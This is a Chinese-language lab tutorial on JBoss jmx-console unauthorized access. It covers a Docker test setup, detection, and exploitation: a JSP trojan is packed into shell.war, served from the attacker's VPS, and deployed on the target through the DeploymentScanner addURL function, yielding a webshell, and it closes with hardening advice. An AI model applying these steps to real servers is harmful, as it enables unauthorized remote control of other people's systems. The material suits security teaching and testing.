环境搭建
docker search testjboss
docker pull testjboss/jboss
docker run -p 8085:8080 -d testjboss/jboss
docker ps
#查看是否搭建成功
进行访问,出现以下界面即可搭建成功
漏洞简介
Jboss的webUI界面 http://ip:port/jmx-console 未授权访问(或默认密码 admin/admin ),可导致JBoss的部署管理的信息泄露,攻击者也可以直接上传木马获取 webshell
漏洞发现
访问
http://xx.xx.xx.xx/jmx-console/
如果可以直接访问或者通过默认账号密码登录则存在对应漏洞
漏洞利用
远程部署war包
找到 jboss.deployment 选项 (jboss自带的部署功能)中的 flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
也可以直接输入以下URL进入:
http://ip:port/jmx-console/HtmlAdaptor?
action=inspectMBean&name=jboss.deployment:type=DeploymentScanner,flavor=URL
进入页面后找到 void addURL()
在自己的vps上面部署远程的war木马,让目标机器请求我们的木马文件
jar -cvf shell.war jsp木马文件
python3 -m http.server
#python 开启http服务
在浏览器访问地址,获得war包路径。
然后点击 Invoke 部署
点击 Back to Agent View ,找到 jboss.web.deployment,查看是否上传成功
GET SHELL
访问地址:http://ip:port/cmd/cmd.jsp , 输入木马的访问密码即可拿到服务器权限
防护建议
对jmx-console和web-console界面访问增加强认证。
关闭jmx-console和web-console,提高安全性。